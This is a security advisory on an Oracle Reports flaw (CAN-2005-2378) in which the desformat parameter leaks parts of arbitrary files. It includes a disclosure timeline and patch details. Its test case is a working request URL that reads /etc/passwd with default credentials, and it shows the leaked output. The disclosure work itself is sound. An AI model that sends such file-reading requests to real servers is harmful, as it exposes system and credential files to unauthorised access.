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It took only 874 days to fix this problem.

Summary and additional information concerning the Oracle January 2006
CPU is available here:
http://www.red-database-security.com/advisory/oracle_cpu_jan_2006.html

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http://www.red-database-security.com/advisory/oracle_reports_read_any_fi
le.html

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Read parts of any file via desformat in Oracle Reports

Name         Read parts of any file via desformat in Oracle Reports
Severity   Medium Risk
Category   Information disclosure
Vendor URL   http://www.oracle.com/
Author   Alexander Kornbrust (ak at red-database-security.com)
Date         25 August 2005 (V 1.02)
Cert VU#   925261
CVE         CAN-2005-2378
Oracle Bug   5883621
Time to fix  874 days ago


Details:
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Oracle Reports is Oracle's award-winning, high-fidelity enterprise
reporting tool.

It enables businesses to give immediate access to information to all
levels within and outside of the organization in an unrivaled scalable
and secure environment. Oracle Reports, a component of the Oracle
Application Server, is used by Oracle itself for the E-Business Suite.
Many large customers are using Oracle Reports as reporting tool for
their enterprise applications.

The Oracle Reports parameter desformat can read any file by using an
absolute or relative file name.
Parts of the file content are displayed in the Reports error message
(see test case)

The DESFORMAT parameter specifies the format for the job output. In
bit-mapped environments, use DESFORMAT to specify the printer driver to
be used when DESTYPE is FILE.
In character-mode environments, use it to specify the characteristics of
the printer named in DESNAME.



Affected Products:
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Internet Application Server
Oracle Application Server
Oracle Developer Suite

Patch Information:
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This bug is finally fixed with Critical Patch Update January 2006.


Testcase:
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http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+
userid=scott/tiger@iasdb+destype=file+MODE=CHARACTER+desformat=/etc/pass
wd

***Reports Output****

REP-3002: Error in column 5 of line 1 of printer definition file
/etc/passwd:
Unknown keyword "root".
REP-3002: Error initializing printer. Please make sure a printer is
installed.

***Reports Output****


History:
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27-aug-2003 Oracle secalert was informed
27-aug-2003 Bug confirmed
15-apr-2005 Red-Database-Security informed Oracle secalert that this
vulnerability will publish after CPU July 2005 Red-Database-Security
offered Oracle more time if it is not possible to provide a fix ==> NO
FEEDBACK.
12-jul-2005 Oracle published CPU July 2005 without fixing this issue
18-jul-2005 Red-Database-Security published this advisory
25-aug-2005 CVE number added
13-jan-2005 days since initial report updated
17-jan-2006 Oracle published the Critical Patch Update January 2006 (CPU
January 2006)


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